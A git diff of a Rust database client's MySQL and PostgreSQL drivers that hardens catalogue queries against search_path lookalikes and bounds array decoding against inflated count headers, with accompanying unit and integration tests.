+                .try_downcast_ref::<MySqlDatabaseError>()
+                .is_some_and(|mysql| mysql.number() == UNSUPPORTED_IN_PREPARE) =>
+        {
+            Ok(())
+        }
+        Err(error) => Err(map_error(&error, flavour)),
+    }
+}
+
 struct Emitter<'a> {
     sink: &'a mut dyn ResultSink,
     batch: Vec<Vec<Value>>,
diff --git a/linux/crates/drivers/mysql/tests/integration/main.rs b/linux/crates/drivers/mysql/tests/integration/main.rs
index 02b6234b7b..b916b3de6f 100644
--- a/linux/crates/drivers/mysql/tests/integration/main.rs
+++ b/linux/crates/drivers/mysql/tests/integration/main.rs
@@ -20,5 +20,6 @@ mod row_limit;
 mod server_time_zone;
 mod support;
 mod tls;
+mod user_read;
 mod value_corpus;
 mod write_batch;
diff --git a/linux/crates/drivers/mysql/tests/integration/user_read.rs b/linux/crates/drivers/mysql/tests/integration/user_read.rs
new file mode 100644
index 0000000000..678a63e7d0
--- /dev/null
+++ b/linux/crates/drivers/mysql/tests/integration/user_read.rs
@@ -0,0 +1,46 @@
+//! A read of user SQL runs one statement, as the server parses it.
+
+use tablepro_core::{Connection, DriverError, ReadStatement, StreamSummary, UserSql};
+
+use crate::support::{CALL, EventSink, Events, FLAVOURS, connect, setup, start, within};
+
+async fn read(connection: &dyn Connection, sql: &str) -> (Result<StreamSummary, DriverError>, Events) {
+    let events = Events::default();
+    let outcome = connection
+        .stream_read(
+            &ReadStatement::User(UserSql::new(sql)),
+            Box::new(EventSink::new(&events)),
+            within(CALL),
+        )
+        .await;
+    (outcome, events)
+}
+
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn a_read_runs_one_statement_and_takes_any_kind_the_server_parses() {
+    for flavour in FLAVOURS {
+        let fixture = start(flavour).await;
+        let connection = connect(&fixture, false).await;
+        setup(
+            connection.as_ref(),
+            &["CREATE TABLE t (id int)", "INSERT INTO t VALUES (1)"],
+        )
+        .await;
+
+        let (two, events) = read(connection.as_ref(), "SELECT 1; SELECT 2").await;
+        assert!(two.is_err(), "{flavour:?}: {two:?}");
+        assert!(events.rows().is_empty(), "{flavour:?}");
+
+        for sql in [
+            "SELECT id FROM t",
+            "SHOW TABLES",
+            "DESCRIBE t",
+            "EXPLAIN SELECT * FROM t",
+        ] {
+            let (outcome, events) = read(connection.as_ref(), sql).await;
+            assert!(outcome.is_ok(), "{flavour:?}: {sql}: {outcome:?}");
+            assert!(!events.rows().is_empty(), "{flavour:?}: {sql}");
+        }
+    }
+}
diff --git a/linux/crates/drivers/postgres/src/catalog/pg_column_row.rs b/linux/crates/drivers/postgres/src/catalog/pg_column_row.rs
index aa618dc005..7918695b7d 100644
--- a/linux/crates/drivers/postgres/src/catalog/pg_column_row.rs
+++ b/linux/crates/drivers/postgres/src/catalog/pg_column_row.rs
@@ -2,6 +2,7 @@ use tablepro_core::DriverError;
 use tokio_postgres::Row;
 
 use super::type_facts::{TypeFacts, TypeShape};
+use crate::codec::TextArray;
 
 /// One column of a table, as the catalogue query returns it. Every
 /// projected type is built in, so the read never needs a type lookup.
@@ -19,7 +20,7 @@ macro_rules! columns_sql {
 WITH RECURSIVE resolved AS (
     SELECT a.attnum, a.atttypid AS type_oid, a.atttypmod AS typmod, 0 AS depth
     FROM pg_catalog.pg_attribute a
-    WHERE a.attrelid = $1::text::regclass AND a.attnum > 0 AND NOT a.attisdropped
+    WHERE a.attrelid = $1::text::regclass::oid AND a.attnum > 0 AND NOT a.attisdropped
   UNION ALL
     SELECT r.attnum, t.typbasetype,
            CASE WHEN r.typmod = -1 THEN t.typtypmod ELSE r.typmod END,
@@ -43,7 +44,7 @@ SELECT a.attname::text,
        et.oid::int8,
        et.typtype::text,
        et.typname::text,
-       (SELECT array_agg(e.enumlabel::text ORDER BY e.enumsortorder)
+       (SELECT pg_catalog.array_agg(e.enumlabel::text ORDER BY e.enumsortorder)
           FROM pg_catalog.pg_enum e
          WHERE e.enumtypid = COALESCE(et.oid, bt.oid)),
        a.attnotnull,
@@ -52,8 +53,8 @@ SELECT a.attname::text,
        a.attidentity::text,
        a.attgenerated::text,
        pg_catalog.col_description(a.attrelid, a.attnum::int4)::text,
-       CASE WHEN a.attcollation <> 0 AND a.attcollation <> at.typcollation THEN cn.nspname::text END,
-       CASE WHEN a.attcollation <> 0 AND a.attcollation <> at.typcollation THEN co.collname::text END,
+       CASE WHEN a.attcollation <> 0::oid AND a.attcollation <> at.typcollation THEN cn.nspname::text END,
+       CASE WHEN a.attcollation <> 0::oid AND a.attcollation <> at.typcollation THEN co.collname::text END,
        CASE WHEN a.attstorage <> at.typstorage THEN a.attstorage::text END,
        ",
             $compression,
@@ -67,7 +68,7 @@ LEFT JOIN pg_catalog.pg_attrdef d ON d.adrelid = a.attrelid AND d.adnum = a.attn
 LEFT JOIN pg_catalog.pg_constraint pk ON pk.conrelid = a.attrelid AND pk.contype = 'p'
 LEFT JOIN pg_catalog.pg_collation co ON co.oid = a.attcollation
 LEFT JOIN pg_catalog.pg_namespace cn ON cn.oid = co.collnamespace
-WHERE a.attrelid = $1::text::regclass AND a.attnum > 0 AND NOT a.attisdropped
+WHERE a.attrelid = $1::text::regclass::oid AND a.attnum > 0 AND NOT a.attisdropped
 ORDER BY a.attnum"
         )
     };
@@ -108,7 +109,10 @@ impl PgColumnRow {
         let element_oid: Option<i64> = row.try_get(7).map_err(field)?;
         let element_shape: Option<String> = row.try_get(8).map_err(field)?;
         let element_name: Option<String> = row.try_get(9).map_err(field)?;
-        let enum_labels: Option<Vec<String>> = row.try_get(10).map_err(field)?;
+        let enum_labels = row
+            .try_get::<_, Option<TextArray>>(10)
+            .map_err(field)?
+            .map(|labels| labels.0);
         let enum_labels = enum_labels.unwrap_or_default();
         let element = match element_oid {
             Some(element_oid) => Some(Box::new(TypeFacts {
diff --git a/linux/crates/drivers/postgres/src/catalog/table_definition.rs b/linux/crates/drivers/postgres/src/catalog/table_definition.rs
index 82018fb354..056bb6d06e 100644
--- a/linux/crates/drivers/postgres/src/catalog/table_definition.rs
+++ b/linux/crates/drivers/postgres/src/catalog/table_definition.rs
@@ -3,15 +3,17 @@ use tablepro_core::ddl::InboundForeignKey;
 use tablepro_core::meta::TableRef;
 use tokio_postgres::Row;
 
+use crate::codec::TextArray;
+
 /// The primary key constraint's name and its columns in key order.
 pub(crate) const PRIMARY_KEY_NAME_SQL: &str = "\
 SELECT c.conname::text,
        ARRAY(SELECT a.attname::text
-               FROM unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord)
+               FROM pg_catalog.unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord)
                JOIN pg_catalog.pg_attribute a ON a.attrelid = c.conrelid AND a.attnum = k.attnum
               ORDER BY k.ord)
 FROM pg_catalog.pg_constraint c
-WHERE c.conrelid = $1::text::regclass AND c.contype = 'p'";
+WHERE c.conrelid = $1::text::regclass::oid AND c.contype = 'p'";
 
 /// Foreign keys on other tables that point at this one. A partition of
 /// a partitioned table that points here holds a clone of its parent's
@@ -22,18 +24,18 @@ SELECT c.conname::text,
        n.nspname::text,
        t.relname::text,
        ARRAY(SELECT a.attname::text
-               FROM unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord)
+               FROM pg_catalog.unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord)
                JOIN pg_catalog.pg_attribute a ON a.attrelid = c.conrelid AND a.attnum = k.attnum
               ORDER BY k.ord),
        ARRAY(SELECT a.attname::text
-               FROM unnest(c.confkey) WITH ORDINALITY AS k(attnum, ord)
+               FROM pg_catalog.unnest(c.confkey) WITH ORDINALITY AS k(attnum, ord)
                JOIN pg_catalog.pg_attribute a ON a.attrelid = c.confrelid AND a.attnum = k.attnum
               ORDER BY k.ord),
        {child_compares_alike}
 FROM pg_catalog.pg_constraint c
 JOIN pg_catalog.pg_class t ON t.oid = c.conrelid
 JOIN pg_catalog.pg_namespace n ON n.oid = t.relnamespace
-WHERE c.confrelid = $1::text::regclass AND c.contype = 'f'
+WHERE c.confrelid = $1::text::regclass::oid AND c.contype = 'f'
   AND NOT EXISTS (SELECT 1 FROM pg_catalog.pg_constraint p
                    WHERE p.oid = c.conparentid AND p.confrelid = c.confrelid)
 ORDER BY n.nspname, t.relname, c.conname";
@@ -52,22 +54,22 @@ pub(crate) fn inbound_foreign_keys_sql() -> String {
 /// no such column. `{narrowing}` is the integer condition, in `ct`
 /// (child) and `pt` (parent) widths.
 const COMPARES_ALIKE_SQL: &str = "\
-NOT coalesce((to_jsonb(c) ->> 'conperiod')::boolean, false)
+NOT coalesce((pg_catalog.to_jsonb(c) OPERATOR(pg_catalog.->>) 'conperiod')::boolean, false)
    AND NOT EXISTS (
          SELECT 1
-           FROM unnest(c.conkey, c.confkey) AS k(child, parent)
+           FROM ROWS FROM (pg_catalog.unnest(c.conkey), pg_catalog.unnest(c.confkey)) AS k(child, parent)
            JOIN pg_catalog.pg_attribute ca ON ca.attrelid = c.conrelid AND ca.attnum = k.child
            JOIN pg_catalog.pg_attribute pa ON pa.attrelid = c.confrelid AND pa.attnum = k.parent
            JOIN pg_catalog.pg_type ct ON ct.oid = ca.atttypid
            JOIN pg_catalog.pg_type pt ON pt.oid = pa.atttypid
           WHERE NOT (ca.attcollation = pa.attcollation
-                     OR (SELECT bool_and(l.collisdeterministic) FROM pg_catalog.pg_collation l
+                     OR (SELECT pg_catalog.bool_and(l.collisdeterministic) FROM pg_catalog.pg_collation l
                           WHERE l.oid IN (ca.attcollation, pa.attcollation)))
              OR NOT (ca.atttypid = pa.atttypid
-                     OR (ca.atttypid IN ('pg_catalog.text'::regtype, 'pg_catalog.varchar'::regtype)
-                         AND pa.atttypid IN ('pg_catalog.text'::regtype, 'pg_catalog.varchar'::regtype))
-                     OR (ca.atttypid IN ('pg_catalog.int2'::regtype, 'pg_catalog.int4'::regtype, 'pg_catalog.int8'::regtype)
-                         AND pa.atttypid IN ('pg_catalog.int2'::regtype, 'pg_catalog.int4'::regtype, 'pg_catalog.int8'::regtype)
+                     OR (ca.atttypid IN ('pg_catalog.text'::regtype::oid, 'pg_catalog.varchar'::regtype::oid)
+                         AND pa.atttypid IN ('pg_catalog.text'::regtype::oid, 'pg_catalog.varchar'::regtype::oid))
+                     OR (ca.atttypid IN ('pg_catalog.int2'::regtype::oid, 'pg_catalog.int4'::regtype::oid, 'pg_catalog.int8'::regtype::oid)
+                         AND pa.atttypid IN ('pg_catalog.int2'::regtype::oid, 'pg_catalog.int4'::regtype::oid, 'pg_catalog.int8'::regtype::oid)
                          AND {narrowing})))";
 
 /// For a filter on the parent: it holds the child's values.
@@ -89,8 +91,8 @@ pub(crate) fn inbound_foreign_key(row: &Row) -> Result<InboundForeignKey, Driver
     Ok(InboundForeignKey {
         name: row.try_get(0).map_err(field)?,
         table: TableRef::new(Some(schema), table),
-        columns: row.try_get(3).map_err(field)?,
-        referenced_columns: row.try_get(4).map_err(field)?,
+        columns: row.try_get::<_, TextArray>(3).map_err(field)?.0,
+        referenced_columns: row.try_get::<_, TextArray>(4).map_err(field)?.0,
         child_compares_alike: row.try_get(5).map_err(field)?,
     })
 }
diff --git a/linux/crates/drivers/postgres/src/codec/array_decode.rs b/linux/crates/drivers/postgres/src/codec/array_decode.rs
index 0d64f9cdfb..e61015d17a 100644
--- a/linux/crates/drivers/postgres/src/codec/array_decode.rs
+++ b/linux/crates/drivers/postgres/src/codec/array_decode.rs
@@ -26,24 +26,30 @@ pub(crate) fn decode_array(ty: &Type, element: &Type, raw: &[u8]) -> Result<Valu
     if dimensions.len() > MAX_DIMENSIONS {
         return Err(WireError::Malformed);
     }
+    // The server sends an empty array with no dimensions, so a dimension
+    // of length 0 beside others could only make `nest` build the others'
+    // empty arrays from a few bytes.
     let lengths: Vec<usize> = dimensions
         .iter()
-        .map(|dimension| usize::try_from(dimension.len).map_err(|_| WireError::Malformed))
+        .map(|dimension| match usize::try_from(dimension.len) {
+            Ok(0) | Err(_) => Err(WireError::Malformed),
+            Ok(length) => Ok(length),
+        })
         .collect::<Result<_, _>>()?;
     let total = lengths
         .iter()
         .try_fold(1usize, |total, length| total.checked_mul(*length))
         .ok_or(WireError::Malformed)?;
-    let values: Vec<Value> = array
-        .values()
-        .map(|value| {
-            Ok(match value {
-                Some(bytes) => decode_binary(element, bytes),
-                None => Value::Null,
-            })
-        })
-        .collect()
-        .map_err(|_| WireError::Malformed)?;
+    // Not `collect`, which would reserve room for the header's count
+    // before reading an element: the cell's bytes bound the allocation.
+    let mut elements = array.values();
+    let mut values = Vec::new();
+    while let Some(value) = elements.next().map_err(|_| WireError::Malformed)? {
+        values.push(match value {
+            Some(bytes) => decode_binary(element, bytes),
+            None => Value::Null,
+        });
+    }
     if values.len() != total {
         return Err(WireError::Malformed);
     }
@@ -118,6 +124,41 @@ mod tests {
         out
     }
 
+    #[test]
+    fn a_declared_count_the_bytes_cannot_hold_is_malformed() {
+        let raw = int4_array(
+            vec![ArrayDimension {
+                len: i32::MAX,
+                lower_bound: 1,
+            }],
+            &[],
+        );
+
+        assert_eq!(
+            decode_array(&Type::INT4_ARRAY, &Type::INT4, &raw),
+            Err(WireError::Malformed)
+        );
+    }
+
+    #[test]
+    fn a_dimension_of_length_zero_is_malformed() {
+        let raw = int4_array(
+            vec![
+                ArrayDimension {
+                    len: i32::MAX,
+                    lower_bound: 1,
+                },
+                ArrayDimension { len: 0, lower_bound: 1 },
+            ],
+            &[],
+        );
+
+        assert_eq!(
+            decode_array(&Type::INT4_ARRAY, &Type::INT4, &raw),
+            Err(WireError::Malformed)
+        );
+    }
+
     #[test]
     fn a_two_dimensional_array_nests_by_dimension() {
         let dimensions = vec![
diff --git a/linux/crates/drivers/postgres/src/codec/decode.rs b/linux/crates/drivers/postgres/src/codec/decode.rs
index 2e66aedacd..b265d4ede4 100644
--- a/linux/crates/drivers/postgres/src/codec/decode.rs
+++ b/linux/crates/drivers/postgres/src/codec/decode.rs
@@ -249,11 +249,12 @@ fn path_text(raw: &[u8]) -> Result<String, WireError> {
     use fallible_iterator::FallibleIterator;
 
     let path = wire::path_from_sql(raw).map_err(malformed)?;
-    let points: Vec<String> = path
-        .points()
-        .map(|point| Ok(point_text(point.x(), point.y())))
-        .collect()
-        .map_err(malformed)?;
+    // Not `collect`, which would reserve room for the header's count.
+    let mut wire_points = path.points();
+    let mut points = Vec::new();
+    while let Some(point) = wire_points.next().map_err(malformed)? {
+        points.push(point_text(point.x(), point.y()));
+    }
     let (open, close) = if path.closed() { ('(', ')') } else { ('[', ']') };
     Ok(format!("{open}{}{close}", points.join(",")))
 }
@@ -350,6 +351,20 @@ mod tests {
         out
     }
 
+    #[test]
+    fn a_path_declaring_points_it_does_not_carry_is_undecodable() {
+        for declared in [i32::MAX, -1] {
+            let mut lying = BytesMut::new();
+            lying.extend_from_slice(&[1]);
+            lying.extend_from_slice(&declared.to_be_bytes());
+
+            assert!(
+                matches!(decode_binary(&Type::PATH, &lying), Value::Undecodable(_)),
+                "{declared}"
+            );
+        }
+    }
+
     #[test]
     fn date_timestamp_infinity_sentinels() {
         let infinity = encoded(i32::MAX, &Type::INT4);
diff --git a/linux/crates/drivers/postgres/src/codec/mod.rs b/linux/crates/drivers/postgres/src/codec/mod.rs
index 091b0fe874..d4ddc45988 100644
--- a/linux/crates/drivers/postgres/src/codec/mod.rs
+++ b/linux/crates/drivers/postgres/src/codec/mod.rs
@@ -10,9 +10,11 @@ pub(crate) mod oid;
 mod pg_param;
 mod raw_cell;
 mod temporal_wire;
+mod text_array;
 mod wire_error;
 
 pub(crate) use decode::decodes_natively;
 pub(crate) use pg_param::typed;
 pub(crate) use raw_cell::RawCell;
+pub(crate) use text_array::TextArray;
 pub(crate) use wire_error::WireError;
diff --git a/linux/crates/drivers/postgres/src/codec/text_array.rs b/linux/crates/drivers/postgres/src/codec/text_array.rs
new file mode 100644
index 0000000000..4a511a8285
--- /dev/null
+++ b/linux/crates/drivers/postgres/src/codec/text_array.rs
@@ -0,0 +1,76 @@
+use std::error::Error;
+
+use fallible_iterator::FallibleIterator;
+use postgres_protocol::types::array_from_sql;
+use postgres_types::{FromSql, Kind, Type};
+
+/// A one-dimensional array of text from the catalog, read element by
+/// element. `Vec<String>`'s own `FromSql` collects, which reserves room
+/// for the count the header claims before reading anything, so a
+/// hostile server could ask for any amount of memory in a few bytes.
+#[derive(Debug, Clone, Default, PartialEq, Eq)]
+pub(crate) struct TextArray(pub(crate) Vec<String>);
+
+impl<'a> FromSql<'a> for TextArray {
+    fn from_sql(ty: &Type, raw: &'a [u8]) -> Result<Self, Box<dyn Error + Sync + Send>> {
+        let Kind::Array(member) = ty.kind() else {
+            return Err(format!("{ty} is not an array").into());
+        };
+        let array = array_from_sql(raw)?;
+        if array.dimensions().count()? > 1 {
+            return Err("the array has more than one dimension".into());
+        }
+        let mut elements = array.values();
+        let mut values = Vec::new();
+        while let Some(element) = elements.next()? {
+            values.push(String::from_sql_nullable(member, element)?);
+        }
+        Ok(Self(values))
+    }
+
+    fn accepts(ty: &Type) -> bool {
+        matches!(ty.kind(), Kind::Array(member) if <String as FromSql>::accepts(member))
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use bytes::BytesMut;
+    use postgres_protocol::IsNull;
+    use postgres_protocol::types::{ArrayDimension, array_to_sql};
+
+    use super::*;
+
+    fn text_array(len: i32, elements: &[&str]) -> Vec<u8> {
+        let mut raw = BytesMut::new();
+        array_to_sql(
+            [ArrayDimension { len, lower_bound: 1 }],
+            Type::TEXT.oid(),
+            elements.iter(),
+            |element, buf| {
+                buf.extend_from_slice(element.as_bytes());
+                Ok(IsNull::No)
+            },
+            &mut raw,
+        )
+        .unwrap();
+        raw.to_vec()
+    }
+
+    #[test]
+    fn an_array_reads_its_elements() {
+        let raw = text_array(2, &["id", "email"]);
+
+        assert_eq!(
+            TextArray::from_sql(&Type::TEXT_ARRAY, &raw).unwrap(),
+            TextArray(vec!["id".to_owned(), "email".to_owned()])
+        );
+    }
+
+    #[test]
+    fn a_count_the_bytes_do_not_hold_is_an_error() {
+        let raw = text_array(i32::MAX, &["id"]);
+
+        assert!(TextArray::from_sql(&Type::TEXT_ARRAY, &raw).is_err());
+    }
+}
diff --git a/linux/crates/drivers/postgres/src/commit_resolution.rs b/linux/crates/drivers/postgres/src/commit_resolution.rs
index b35a7fbe44..c07049ff8a 100644
--- a/linux/crates/drivers/postgres/src/commit_resolution.rs
+++ b/linux/crates/drivers/postgres/src/commit_resolution.rs
@@ -9,9 +9,9 @@ pub(crate) fn resolve_op(token: &CommitToken) -> Result<ReadOp<CommitResolution>
         return Ok(read_op(|_| Box::pin(async { Ok(CommitResolution::Unresolvable) })));
     };
     let sql = if *legacy_txid {
-        "SELECT txid_status($1::text::int8)::text"
+        "SELECT pg_catalog.txid_status($1::text::int8)::text"
     } else {
-        "SELECT pg_xact_status($1::text::xid8)::text"
+        "SELECT pg_catalog.pg_xact_status($1::text::xid8)::text"
     };
     let xid = xid.to_string();
     Ok(read_op(move |client| {
diff --git a/linux/crates/drivers/postgres/src/ddl.rs b/linux/crates/drivers/postgres/src/ddl.rs
index 50695e763d..2f1e78645d 100644
--- a/linux/crates/drivers/postgres/src/ddl.rs
+++ b/linux/crates/drivers/postgres/src/ddl.rs
@@ -341,7 +341,10 @@ impl PgDialect {
     /// default dropped earlier, which `pg_get_serial_sequence` may return
     /// instead, so the identity's sequence is found by its internal
     /// dependency on the column. The table goes in quoted, since
-    /// `regclass` parses it as SQL, and the column name as it is.
+    /// `regclass` parses it as SQL, and the column name as it is. It runs
+    /// in the user's session, so every function and every operator between
+    /// two types is named in `pg_catalog`, which a lookalike on the
+    /// search_path cannot outbid.
     fn identity_restart(&self, table: &TableRef, column: &str) -> Result<String, BuildDdlError> {
         let text = |text: String| {
             SqlDialect::literal(self, &Value::Text(text), &ColumnType::untyped_text("text")).map_err(|error| {
@@ -353,12 +356,16 @@ impl PgDialect {
         };
         let qualified = self.qualify(table);
         Ok(format!(
-            "SELECT setval((SELECT d.objid::regclass FROM pg_catalog.pg_depend d \
-             JOIN pg_catalog.pg_attribute a ON a.attrelid = d.refobjid AND a.attnum = d.refobjsubid \
-             JOIN pg_catalog.pg_class s ON s.oid = d.objid \
-             WHERE d.classid = 'pg_catalog.pg_class'::regclass AND d.refclassid = 'pg_catalog.pg_class'::regclass \
-             AND d.deptype = 'i' AND s.relkind = 'S' AND d.refobjid = {}::regclass AND a.attname = {}), \
-             GREATEST(COALESCE(MAX({})::bigint, 0), 0) + 1, false) FROM {qualified}",
+            "SELECT pg_catalog.setval((SELECT d.objid::pg_catalog.regclass FROM pg_catalog.pg_depend d \
+             JOIN pg_catalog.pg_attribute a ON a.attrelid OPERATOR(pg_catalog.=) d.refobjid \
+             AND a.attnum OPERATOR(pg_catalog.=) d.refobjsubid \
+             JOIN pg_catalog.pg_class s ON s.oid OPERATOR(pg_catalog.=) d.objid \
+             WHERE d.classid OPERATOR(pg_catalog.=) 'pg_catalog.pg_class'::pg_catalog.regclass \
+             AND d.refclassid OPERATOR(pg_catalog.=) 'pg_catalog.pg_class'::pg_catalog.regclass \
+             AND d.deptype OPERATOR(pg_catalog.=) 'i' AND s.relkind OPERATOR(pg_catalog.=) 'S' \
+             AND d.refobjid OPERATOR(pg_catalog.=) {}::pg_catalog.regclass AND a.attname OPERATOR(pg_catalog.=) {}), \
+             GREATEST(COALESCE(pg_catalog.max({})::pg_catalog.int8, 0), 0) OPERATOR(pg_catalog.+) 1, false) \
+             FROM {qualified}",
             text(qualified.clone())?,
             text(column.to_owned())?,
             self.quote_identifier(column)
@@ -1105,12 +1112,15 @@ mod tests {
                 "ALTER TABLE \"App\".\"Users\" DROP CONSTRAINT \"users_pkey\", ALTER COLUMN \"Status\" SET NOT \
                  NULL, ALTER COLUMN \"Status\" ADD GENERATED BY DEFAULT AS IDENTITY, ADD PRIMARY KEY (\"id\", \
                  \"Status\")",
-                "SELECT setval((SELECT d.objid::regclass FROM pg_catalog.pg_depend d JOIN \
-                 pg_catalog.pg_attribute a ON a.attrelid = d.refobjid AND a.attnum = d.refobjsubid JOIN \
-                 pg_catalog.pg_class s ON s.oid = d.objid WHERE d.classid = 'pg_catalog.pg_class'::regclass AND \
-                 d.refclassid = 'pg_catalog.pg_class'::regclass AND d.deptype = 'i' AND s.relkind = 'S' AND \
-                 d.refobjid = '\"App\".\"Users\"'::regclass AND a.attname = 'Status'), \
-                 GREATEST(COALESCE(MAX(\"Status\")::bigint, 0), 0) + 1, false) FROM \"App\".\"Users\"",
+                "SELECT pg_catalog.setval((SELECT d.objid::pg_catalog.regclass FROM pg_catalog.pg_depend d \
+                 JOIN pg_catalog.pg_attribute a ON a.attrelid OPERATOR(pg_catalog.=) d.refobjid AND a.attnum \
+                 OPERATOR(pg_catalog.=) d.refobjsubid JOIN pg_catalog.pg_class s ON s.oid OPERATOR(pg_catalog.=) \
+                 d.objid WHERE d.classid OPERATOR(pg_catalog.=) 'pg_catalog.pg_class'::pg_catalog.regclass AND \
+                 d.refclassid OPERATOR(pg_catalog.=) 'pg_catalog.pg_class'::pg_catalog.regclass AND d.deptype \
+                 OPERATOR(pg_catalog.=) 'i' AND s.relkind OPERATOR(pg_catalog.=) 'S' AND d.refobjid \
+                 OPERATOR(pg_catalog.=) '\"App\".\"Users\"'::pg_catalog.regclass AND a.attname \
+                 OPERATOR(pg_catalog.=) 'Status'), GREATEST(COALESCE(pg_catalog.max(\"Status\")::pg_catalog.int8, \
+                 0), 0) OPERATOR(pg_catalog.+) 1, false) FROM \"App\".\"Users\"",
             ]
         );
     }
diff --git a/linux/crates/drivers/postgres/src/dialect.rs b/linux/crates/drivers/postgres/src/dialect.rs
index f9dfaabd0d..981432e6f6 100644
--- a/linux/crates/drivers/postgres/src/dialect.rs
+++ b/linux/crates/drivers/postgres/src/dialect.rs
@@ -432,6 +432,7 @@ const CREDENTIAL_RULES: CredentialRules = CredentialRules {
         "decrypt_iv",
         "hmac",
     ],
+    secret_parameters: &[],
 };
 
 #[cfg(test)]
diff --git a/linux/crates/drivers/postgres/src/metadata/estimate.rs b/linux/crates/drivers/postgres/src/metadata/estimate.rs
index d3916caefb..abb8ab3894 100644
--- a/linux/crates/drivers/postgres/src/metadata/estimate.rs
+++ b/linux/crates/drivers/postgres/src/metadata/estimate.rs
@@ -9,16 +9,16 @@ use super::{decode_error, text_rows};
 /// analysed has `reltuples` -1 from PostgreSQL 14 on (0 before), which is
 /// no estimate at all. The heap size in blocks is what sizes a ctid
 /// window.
-const ESTIMATE_SQL: &str = "\
+pub(super) const ESTIMATE_SQL: &str = "\
 WITH RECURSIVE tree AS (
     SELECT $1::text::regclass::oid AS oid
   UNION
     SELECT i.inhrelid FROM pg_catalog.pg_inherits i JOIN tree t ON i.inhparent = t.oid
 )
-SELECT COALESCE(SUM(GREATEST(c.reltuples, 0)), 0)::float8,
-       COALESCE(bool_and(c.reltuples < 0), true),
+SELECT COALESCE(pg_catalog.sum(GREATEST(c.reltuples, 0)), 0)::float8,
+       COALESCE(pg_catalog.bool_and(c.reltuples < 0::float4), true),
        (pg_catalog.pg_relation_size($1::text::regclass)
-          / current_setting('block_size')::int8)::int8
+          / pg_catalog.current_setting('block_size')::int8)::int8
 FROM tree
 JOIN pg_catalog.pg_class c ON c.oid = tree.oid";
 
diff --git a/linux/crates/drivers/postgres/src/metadata/foreign_keys.rs b/linux/crates/drivers/postgres/src/metadata/foreign_keys.rs
index cd2e268404..6365270e75 100644
--- a/linux/crates/drivers/postgres/src/metadata/foreign_keys.rs
+++ b/linux/crates/drivers/postgres/src/metadata/foreign_keys.rs
@@ -4,6 +4,7 @@ use tokio_postgres::{Client, Row};
 
 use super::{decode_error, text_rows};
 use crate::catalog::{PARENT_HOLDS_CHILD, compares_alike_sql};
+use crate::codec::TextArray;
 
 /// A key to a partitioned table has a clone on the same table for each
 /// partition it reaches, made and dropped with it, so only the key the
@@ -11,13 +12,13 @@ use crate::catalog::{PARENT_HOLDS_CHILD, compares_alike_sql};
 const FOREIGN_KEYS_SQL: &str = "\
 SELECT c.conname::text,
        ARRAY(SELECT a.attname::text
-               FROM unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord)
+               FROM pg_catalog.unnest(c.conkey) WITH ORDINALITY AS k(attnum, ord)
                JOIN pg_catalog.pg_attribute a ON a.attrelid = c.conrelid AND a.attnum = k.attnum
               ORDER BY k.ord),
        n.nspname::text,
        t.relname::text,
        ARRAY(SELECT a.attname::text
-               FROM unnest(c.confkey) WITH ORDINALITY AS k(attnum, ord)
+               FROM pg_catalog.unnest(c.confkey) WITH ORDINALITY AS k(attnum, ord)
                JOIN pg_catalog.pg_attribute a ON a.attrelid = c.confrelid AND a.attnum = k.attnum
               ORDER BY k.ord),
        c.confdeltype::text,
@@ -26,12 +27,12 @@ SELECT c.conname::text,
 FROM pg_catalog.pg_constraint c
 JOIN pg_catalog.pg_class t ON t.oid = c.confrelid
 JOIN pg_catalog.pg_namespace n ON n.oid = t.relnamespace
-WHERE c.conrelid = $1::text::regclass AND c.contype = 'f'
+WHERE c.conrelid = $1::text::regclass::oid AND c.contype = 'f'
   AND NOT EXISTS (SELECT 1 FROM pg_catalog.pg_constraint p
                    WHERE p.oid = c.conparentid AND p.conrelid = c.conrelid)
 ORDER BY c.conname";
 
-fn foreign_keys_sql() -> String {
+pub(super) fn foreign_keys_sql() -> String {
     FOREIGN_KEYS_SQL.replace("{parent_compares_alike}", &compares_alike_sql(PARENT_HOLDS_CHILD))
 }
 
@@ -61,10 +62,10 @@ fn outbound_foreign_key(row: &Row) -> Result<OutboundForeignKey, DriverError> {
     Ok(OutboundForeignKey {
         key: ForeignKeyInfo {
             name: row.try_get(0).map_err(&field)?,
-            columns: row.try_get(1).map_err(&field)?,
+            columns: row.try_get::<_, TextArray>(1).map_err(&field)?.0,
             ref_schema: Some(row.try_get(2).map_err(&field)?),
             ref_table: row.try_get(3).map_err(&field)?,
-            ref_columns: row.try_get(4).map_err(&field)?,
+            ref_columns: row.try_get::<_, TextArray>(4).map_err(&field)?.0,
             on_delete: referential_action(&on_delete),
             on_update: referential_action(&on_update),
         },
diff --git a/linux/crates/drivers/postgres/src/metadata/identity.rs b/linux/crates/drivers/postgres/src/metadata/identity.rs
index 8006c2b6ed..9c8234142e 100644
--- a/linux/crates/drivers/postgres/src/metadata/identity.rs
+++ b/linux/crates/drivers/postgres/src/metadata/identity.rs
@@ -3,15 +3,16 @@ use tablepro_core::meta::{EngineRowId, RowIdentity};
 use tokio_postgres::Client;
 
 use super::{decode_error, text_rows};
+use crate::codec::TextArray;
 
 /// The relation's kind, its primary key, and the first unique index that
 /// can stand in for one: no predicate, no expressions, and every key
 /// column NOT NULL, so it names every row exactly once.
-const IDENTITY_SQL: &str = "\
+pub(super) const IDENTITY_SQL: &str = "\
 SELECT c.relkind::text,
        ARRAY(SELECT a.attname::text
                FROM pg_catalog.pg_constraint p
-               CROSS JOIN LATERAL unnest(p.conkey) WITH ORDINALITY AS k(attnum, ord)
+               CROSS JOIN LATERAL pg_catalog.unnest(p.conkey) WITH ORDINALITY AS k(attnum, ord)
                JOIN pg_catalog.pg_attribute a ON a.attrelid = p.conrelid AND a.attnum = k.attnum
               WHERE p.conrelid = c.oid AND p.contype = 'p'
               ORDER BY k.ord),
@@ -26,18 +27,18 @@ SELECT c.relkind::text,
                         AND i.indexprs IS NULL
                         AND NOT EXISTS (
                             SELECT 1
-                              FROM unnest(i.indkey::int2[]) WITH ORDINALITY AS u(attnum, ord)
+                              FROM pg_catalog.unnest(i.indkey::int2[]) WITH ORDINALITY AS u(attnum, ord)
                               JOIN pg_catalog.pg_attribute ua
                                 ON ua.attrelid = i.indrelid AND ua.attnum = u.attnum
